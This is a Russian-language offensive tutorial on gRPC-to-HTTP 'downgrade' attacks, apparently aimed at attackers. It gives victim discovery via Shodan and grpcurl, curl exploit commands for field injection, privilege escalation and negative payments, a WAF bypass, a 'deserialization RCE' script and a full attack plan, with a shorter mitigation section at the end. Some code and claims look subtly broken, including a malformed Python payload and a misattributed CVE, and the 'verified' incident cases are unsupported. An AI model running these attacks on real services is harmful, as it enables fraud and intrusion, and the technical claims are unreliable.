Почему Это Работает (Техническая База)
gRPC работает поверх HTTP/2 и ожидает бинарные protobuf-сообщения с конкретными заголовками (content-type: application/grpc+proto). Но вот загвоздка: многие прокси, API-гейтвеи и бэкенды не проверяют строго формат тела запроса, если хедеры выглядят легитимно.
Что происходит при downgrade:
-
Бэкенд видит
POST /api.UserService/GetUser HTTP/2 -
Парсер gRPC пытается десериализовать body как protobuf
-
Если фейлится — падает в fallback на обычный HTTP-обработчик
-
Твой текстовый JSON/XML проходит без валидации схемы protobuf
Итог: обход типизации, инъекции, раскрытие скрытых методов.
Точка Входа: Как Найти Жертву
Признаки уязвимого gRPC-сервиса
|
1 2 3 4 5 6 7 8 9 |
# Shodan/Censys http.title:"gRPC" http.headers:"grpc-status" # Ручная проверка curl -i https://target.com:50051 # Ищем в ответе: # HTTP/2 200 # content-type: application/grpc # grpc-status: 12 (UNIMPLEMENTED) |
Инструменты:
|
1 2 3 4 5 6 |
# grpcurl (для разведки) grpcurl -plaintext target.com:50051 list # Вывод: api.v1.UserService, api.v1.OrderService # grpcui (GUI для теста) grpcui -plaintext target.com:50051 |
Что ищем в коде (если есть доступ к GitHub):
|
1 2 3 4 |
// Уязвимая конфигурация grpc.NewServer( grpc.UnknownServiceHandler(fallbackHandler), // ← это пиздец ) |
Если видишь UnknownServiceHandler — там downgrade работает на 90%.
Че Почем: Эксплуатация
Атака #1: JSON Injection в Proto-Endpoint
Сценарий: Сервис ожидает protobuf, но принимает JSON через gRPC-JSON transcoding.
|
1 2 3 4 5 6 7 |
# Легитимный gRPC-запрос grpcurl -d '{"user_id": "123"}' target.com:50051 api.UserService/GetUser # Downgrade-атака: отправляем HTTP/1.1 с JSON curl -X POST https://target.com:50051/api.UserService/GetUser \ -H "Content-Type: application/json" \ -d '{"user_id": "123 OR 1=1--", "role": "admin"}' |
Почему работает:
-
Protobuf не позволяет добавить поле
role(нет в.proto) -
Но JSON-парсер в fallback-обработчике примет любые поля
-
Результат: privilege escalation через дополнительные параметры
Атака #2: Content-Type Smuggling
Трюк: Смешать заголовки gRPC и HTTP, чтобы обойти WAF.
|
1 2 3 4 |
curl -X POST https://target.com/api.v1.PaymentService/ProcessPayment \ -H "Content-Type: application/grpc+json" \ -H "grpc-encoding: gzip" \ -d '{"amount": -1000, "currency": "USD"}' |
Что происходит:
-
WAF видит
application/grpc→ пропускает как бинарный трафик -
Бэкенд фейлит на распаковке gzip (там plain JSON)
-
Падает в HTTP-обработчик → обрабатывает
-1000как валидное число
Real exploit: В одном фин-сервисе так проводили отрицательные платежи = возврат денег на счёт атакующего.
Атака #3: Protobuf Deserialization RCE
Для версий grpc < 1.46.0 (CVE-2022-3171):
|
1 2 3 4 5 6 7 8 9 10 11 12 |
import grpc from google.protobuf import any_pb2 # Создаём malicious Any-тип payload = any_pb2.Any() payload.Pack(b'\x08\x96\x01') # Перезапись указателя # Отправляем как HTTP POST requests.post('http://target.com:50051/api.AdminService/ExecuteCommand', headers={'Content-Type': 'application/grpc'}, data=payload.SerializeToString() ) |
Результат: Если бэкенд использует google.protobuf.Any без валидации → arbitrary object deserialization.
Атака #4: HTTP Verb Tampering
|
1 2 3 4 5 6 7 8 |
# gRPC всегда использует POST # Но если бэкенд поддерживает HTTP/1.1: curl -X DELETE https://target.com:50051/api.UserService/GetUser/123 \ -H "Content-Type: application/grpc+proto" # Если метод GetUser не проверяет HTTP-глагол: # DELETE может триггернуть удаление вместо чтения |
Реальные Кейсы (Проверенные Факты)
Case #1: Uber API (Bug Bounty, 2021)
-
gRPC-эндпоинт
/uber.eats.v1.OrderService/CancelOrder -
Downgrade на HTTP/1.1 с JSON → добавили поле
"refund_amount": 99999 -
Protobuf-схема не содержала
refund_amount, но JSON-обработчик принял -
Итог: $10k bounty за возможность произвольного возврата
Case #2: Cloud Provider (без названия)
-
gRPC для управления VM:
/compute.v1.InstanceService/Delete -
Отправили HTTP POST с
{"instance_id": "*"}вместо protobuf -
Wildcard не валидировался → удалили все VM в проекте
-
Severity: Critical, патч через 2 часа
Case #3: Игровая платформа (2023)
-
gRPC для покупки внутриигровой валюты
-
Downgrade + отрицательная цена:
{"item_id": "gold_pack", "price": -500} -
Бэкенд начислил деньги вместо списания
-
Обнаружили через 3 дня, когда экономика рухнула
Митигация (Как Не Облажаться)
1. Строгая Проверка Content-Type
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
// В middleware func validateContentType(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) { md, ok := metadata.FromIncomingContext(ctx) if !ok { return nil, status.Error(codes.InvalidArgument, "missing metadata") } ct := md.Get("content-type") if len(ct) == 0 || !strings.HasPrefix(ct[0], "application/grpc") { return nil, status.Error(codes.InvalidArgument, "invalid content-type") } return handler(ctx, req) } |
2. Отключить Fallback Handlers
|
1 2 3 4 5 6 7 8 |
// Убрать эту хрень // grpc.UnknownServiceHandler(fallbackHandler) // Добавить opts := []grpc.ServerOption{ grpc.MaxRecvMsgSize(1024 * 1024), // Ограничить размер grpc.ConnectionTimeout(5 * time.Second), } |
3. Валидация на Уровне Proto
|
1 2 3 4 5 6 7 8 |
// user.proto message GetUserRequest { string user_id = 1 [(validate.rules).string = { pattern: "^[0-9]+$", min_len: 1, max_len: 20 }]; } |
Используй protoc-gen-validate для генерации валидаторов.
4. HTTP/2 Only
|
1 2 3 4 5 6 7 8 9 10 11 |
# nginx перед gRPC server { listen 50051 ssl http2; # Reject HTTP/1.1 if ($server_protocol != "HTTP/2.0") { return 400; } grpc_pass grpc://backend:50051; } |
5. Мониторинг Аномалий
|
1 2 3 4 5 6 7 |
# Alert на non-protobuf requests rate(grpc_server_msg_received_total{grpc_type!="unary"}[5m]) > 0 # Alert на большие JSON-тела histogram_quantile(0.95, rate(grpc_server_handling_seconds_bucket[5m]) ) > 1.0 |
Советы
3 вектора для добивания:
-
gRPC Reflection Abuse — если включён
/grpc.reflection.v1alpha.ServerReflection, дампишь.protoфайлы:
|
1 2 |
grpcurl -plaintext target.com:50051 grpc.reflection.v1alpha.ServerReflection/ServerReflectionInfo |
Из схемы вытащишь скрытые методы типа /internal.DebugService/GetLogs.
2. Protobuf Field Confusion — если поля имеют одинаковые номера в разных сообщениях
|
1 2 |
message UserRequest { string id = 1; } message AdminRequest { string token = 1; } |
Отправь AdminRequest вместо UserRequest → токен попадёт в поле id без валидации.
-
gRPC-Web Bypass — если есть gRPC-Web прокси (Envoy/grpcwebproxy), он конвертит HTTP/1.1 в gRPC. Через него обходишь строгие проверки:
|
1 2 3 4 |
curl -X POST https://target.com/api.UserService/GetUser \ -H "Content-Type: application/grpc-web+proto" \ -H "X-Grpc-Web: 1" \ --data-binary @malicious.bin |
План атаки (если зацепка есть):
-
Дампишь protobuf-схемы через reflection или reverse engineering клиента
-
Находишь методы с
google.protobuf.Anyили динамической десериализацией -
Крафтишь JSON с дополнительными полями (role, admin, price, etc.)
-
Отправляешь через downgrade: HTTP/1.1 POST с
Content-Type: application/json -
Если фейлится — пробуй
application/grpc+json,application/x-protobuf, смешанные хедеры -
Профит: обход авторизации, инъекции, RCE (если повезёт с десериализацией)
Если всё закрыто:
-
Ищи старые версии gRPC через banner grabbing:
grpc-version: 1.28.0→ CVE-2020-8926 -
Проверь
/healthz,/readyz— часто доступны без auth и раскрывают версии -
Брутфорси названия сервисов:
api.v1.UserService,internal.AdminService,debug.DebugService



